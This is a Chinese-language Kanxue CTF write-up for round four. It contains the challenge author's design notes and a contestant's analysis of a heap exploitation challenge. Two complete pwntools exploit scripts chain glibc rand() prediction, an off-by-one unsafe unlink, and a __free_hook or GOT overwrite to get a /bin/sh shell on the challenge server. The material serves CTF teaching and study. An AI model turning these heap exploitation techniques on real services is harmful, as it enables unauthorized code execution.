happy Halloween‘s Day!大家万圣节快乐!
第四题过后,看雪CTF赛程即将过半。
第四题的出题者BPG,以被29人攻破的成绩,居于防守方第一名。
第四题过后,攻击方的排名发生了较大的变化,竞争异常激烈。
风间仁重回第一名,黑马iweizitime,后来者居上,由原来的第七名升至第二名,poyoten也由第八名升至第三名。
目前还剩5道题,究竟谁能笑到最后呢?让我们拭目以待吧!
接下来让我们一起来看看关于第四题的点评、出题思路和解析。
看雪评委netwind点评
作者精心构造了一个堆漏洞house_of_orange,为了保证解题思路的唯一性,作者进行了一些限制。为了避免攻击者直接利用double_free漏洞,作者开启了PIE保护,但可以通过随机数预测得到栈地址,在退出的时候将system_addr写到栈里面,之后调用malloc触发异常实现攻击。可惜的是百密一疏,攻击者找到了更简单的方法攻破此题。
第四题作者简介
mutepig,已退役web选手,今年刚开始真正学习pwn,目前仍是小菜鸡一枚,希望能在看雪论坛中向大牛们多多学习交流。
第四题设计思路
0x01 随机数预测
首先是要获取堆的地址,由于开了PIE所以需要通过程序泄露出来,通过随机数来获得种子,从而得到`data段`地址。
程序在开始声明了两个变量`seed`和`name`,随机数种子就是`seed`的地址,在猜测正确随机数后就能将地址返回回来,那么问题就是如何预测随机数了。
具体需要了解[随机数的原理](http://mutepig.club),这里直接把结论丢出来:
rand[i] = (rand[i-3]+rand[i-31])&0x7fffffff
所以只要获得了前31个随机数,就能预测出来后面的随机数,从而得到泄露的地址。
0x02 off by one
在留言的时候,由于多读了一个字符串,所以会导致`off by one`,从而溢出下一个`chunk`的`size`。
那么我们可以构造类似这样的`chunk`:
+==========+
0 |0xf8
+==========+
fake_chunk(size=0xe0)
+==========+
.......
+==========+
0xe0 | 0x100
+==========+
这样实现之后,不仅我们控制了下一个`chunk`的`prev_size`,使得其指向的前一个`chunk`是我们伪造的,同时覆盖了下一个`chunk`的`size`的最低位,使之认为上一个`chunk`是空闲的,所以会调用`unlink`。
0x03 EXP
#!/usr/bin/env python
# encoding: utf-8
from mypwn import *
bin_file = "./club"
remote_detail = ("123.206.22.95",8888)
libc_file = "./libc.so.6"
bp = [0x1100]
pie = True
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
def new(box,size=0):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.sendline(str(box))
p.recvuntil("> ")
p.sendline(str(size))
def free(box):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(box))
def msg(box,cont):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(str(box))
p.send(cont)
def show(box):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline(str(box))
return p.recvuntil("\n").strip()
def guess_num(num):
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline(str(num))
ret = p.recvuntil("\n")
ok = "G00d" in ret
number = int(ret.split(" ")[-1].split("!")[0])
return ok,number
def guess():
randnum = []
for i in xrange(31):
ok,num = guess_num(0)
randnum.append(num)
while not ok:
guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff
ok,num = guess_num(guess)
randnum.append(num)
return num
def df_chunk(addr,size):
# addr is the heap_addr, that means *addr=(&fake_chunk)
fake_chunk = p64(0) + p64(size+1) + p64(addr - 0x18 ) + p64(addr - 0x10) + (size-0x20) * 'M'
fake_next_size = p64(size)
return fake_chunk + fake_next_size
if __name__ == "__main__":
# guess number to get stack_addr
seed_addr = guess()
heap_addr = seed_addr - 0x48 + 0x10
base_addr = seed_addr - 0x148-0x202000
free_got = elf.got['free'] + base_addr
atoi_got = elf.got['atoi'] + base_addr
puts_got = elf.got['puts'] + base_addr
libc_free = libc.symbols['free']
libc_system = libc.symbols['system']
log.success("heap_addr:" + hex(heap_addr))
new(1, 0x18)
new(2, 0xe8)
new(3, 0xf8)
new(4,0x110)
#payload = p64(heap_addr-0x18) + p64(heap_addr-0x10) + (0xf0-0x20)*'M' + p64(0xf0) + '\x00'
msg(4,"/bin/sh\x00\n")
payload = df_chunk(heap_addr,0xe0) + "\x00"
msg(2,payload)
free(3)
msg(2,'1'*0x10 + p64(puts_got) + p64(free_got)+"\n")
free_addr = show(2)
free_addr = free_addr.strip().ljust(8,"\x00")
free_addr = u64(free_addr)
base_addr = free_addr - libc_free
system_addr = base_addr + libc_system
log.success("system_addr: %s"%(hex(system_addr)))
msg(1,p64(system_addr)+"\n")
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("4")
#show(4)
p.interactive()
原文附文件club.tar : bin + libc(点击左下角阅读原文下载)
下面选取攻击者iweizitime的破解分析
分析做法
首先,用pwntools检查一下,pwn checksec club。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
结果如上,保护基本都开了,这意味着要泄露地址,不能使用shellcode,可以改got表。
分析get_box函数,发现它会对分配的内存大小进行限制,每个至少相差0x10字节,所以不能用fastbin。
所以我们的思路就是想办法泄露地址信息,解决PIE。然后利用unsafe_unlink改写__free_hook的值为system函数的地址,然后free一段包含/bin/sh的内存。
泄露程序加载地址
最先发现了猜随机数的这个函数,这种类型的题目以前碰到过,如果你没有猜对,程序会将正确的结果返回给你。
实际上在这种情况下libc里面的rand函数是可以预测的。规律如下:
STATEi = STATEi-3 + STATEi-31, for i > 34
RANDi = STATEi >> 1
其中STATEi是int32_t类型。所以可以用:
RANDi = (RANDi-3 + RANDi-31) % (1<<31)
来预测,当然,可能猜不准,多猜几次就是了。
seed其实被初始化为了它自己的地址,所以我们得到了seed的地址,也就得到了程序的加载地址。
泄露libc的加载地址
这个很容易,只要适当的free一个内存,它的fd和bk就指向了main_arena+88。下图是alloc(1, 128), alloc(2, 144), alloc(3, 160), destroy(2)后的堆。
得到了main_arena的地址,也就可以算出libc的加载地址了。顺便说一句,作者给的libc就是ubuntu 16.04上面的libc。
触发unlink
给一个网址https://github.com/shellphish/how2heap/blob/master/unsafe_unlink.c 我觉得这个github repository讲的很好,非常值得看。
网上的资料很多,主要说一下针对这个题的流程。
只有id为2,3的内存才能被释放。先构造出一块大的3内存,并保证它释放的时候不会被合并到Top Chunk。
alloc(4, 528)
alloc(3, 512)
alloc(5, 544)
然后把内存3释放掉,在堆中得到一个空洞。顺便把main_arena的地址泄露出来。
destroy(3)
要注意到destroy_box函数除了free内存什么也没做,没有将指针改为NULL,也没有改变size和存在标志。
也就是说,即使我们释放了3内存,依然可以使用它。
接着分配两个比较小的内存,但是也要比0x80大,不要落在fastbin里面。
alloc(1, 0x80)
alloc(2, 0x90)
内存1和内存2的大小加起来也比内存3小,所以会在内存3释放后留下的空洞中分配。注意一定要先分配内存1,再分配内存2,因为只有内存2能被free。现在的内存布局如下。
------------------------------------------------------------------
| | | |
------------------------------------------------------------------
|<- 4 ->|<- 3 ->|<- 5 ->|
|<- 1 ->|<- 2 ->|
因为我们还有内存3的指针,所以可以任意修改内存1和内存2的值,可以伪造malloc_chunk。
代码
到这里差不多就可以写代码了。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import re
# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'info'
exe = './club'
def alloc(box_type, size):
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('> ')
io.sendline(str(box_type))
io.recvuntil('> ')
io.sendline(str(size))
l = io.recvline()
if l == 'You have got the box!\n':
return True
else:
return False
def destroy(box_type):
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('> ')
io.sendline(str(box_type))
r = io.recvline()
if r == 'You have destroyed the box!\n':
return True
else:
return False
def leave_message(box_type, message):
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('> ')
io.sendline(str(box_type))
io.sendline(message)
def show_message(box_type):
io.recvuntil('> ')
io.sendline('4')
io.recvuntil('> ')
io.sendline(str(box_type))
return io.recvline()
def guess_rand(rand_num):
io.recvuntil('> ')
io.sendline('5')
io.recvuntil('> ')
io.sendline(str(rand_num))
l = io.recvline()
wrong = re.match('Wr0ng answer!The number is (\d+)!', l)
good = re.match('G00dj0b!You get a secret: (\d+)!', l)
if wrong:
return int(wrong.group(1)), False
elif good:
return int(good.group(1)), True
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote('123.206.22.95', 8888)
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
libc = ELF('./libc.so.6')
# 猜随机数,泄露程序地址
l = []
for i in range(64):
rn, good = guess_rand(3232)
l.append(rn)
while True:
end = len(l)
r = (l[end-3]+l[end-31]) % 2147483648
rn, good = guess_rand(r)
if good:
seed_addr = rn
box_addrs_addr = seed_addr - 0x48
log.info("seed address {}".format(str(hex(seed_addr))))
log.info("box_addrs address {}".format(str(hex(box_addrs_addr))))
break
l.append(rn)
alloc(4, 528)
alloc(3, 512)
alloc(5, 544)
destroy(3)
# 找到main_arena,泄露libc地址
main_area = u64(show_message(3)[:6]+'\x00\x00') - 88
libc_base = main_area - 0x3c4b20
log.info('libc address {}'.format(str(hex(libc_base))))
__free_hook_addr = libc.symbols['__free_hook'] + libc_base
system_addr = libc.symbols['system'] + libc_base
log.info("libc __free_hook {}".format(str(hex(__free_hook_addr))))
log.info("libc system {}".format(str(hex(system_addr))))
alloc(1, 0x80)
alloc(2, 0x90)
box1_addr_addr = box_addrs_addr + 8
# fake chunk
payload1 = 'A' * 8 # fake chunk prev_size
payload1 += p64(8) # fake chunk size
payload1 += p64(box1_addr_addr - 8*3) # fake chunk fd
payload1 += p64(box1_addr_addr - 8*2) # fake chunk bk
payload1 += 'A' * (0x80-len(payload1))
payload1 += p64(0x80) # overwrite prev_size in next chunk
payload1 += p64(0xa0) # set PREV_INUSE to 0
leave_message(3, payload1)
# 触发unlink
destroy(2)
# 将small box的地址改写为__free_hook的地址
payload2 = '\x00' * 24
payload2 += p64(box_addrs_addr-0x10)
payload2 += p64(__free_hook_addr)
leave_message(1, payload2)
# 将__free_hook的值改写为system的地址
leave_message(2, p64(system_addr))
# 写入 '/bin/sh'
leave_message(3, '/bin/sh\x00')
# free normal box,也就是system('/bin/sh')
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('> ')
io.sendline(str(3))
io.interactive()
温馨提示
每道题结束过后都会看到很多盆友的精彩解题分析过程,因为公众号内容的限制,每次题目过后我们将选出一篇与大家分享。解题方式多种多样,各位参赛选手的脑洞也种类繁多,想要看到更多解题分析的小伙伴们可以前往看雪论坛【CrackMe】版块查看哦!
原文出自看雪论坛,转载请注明来自看雪社区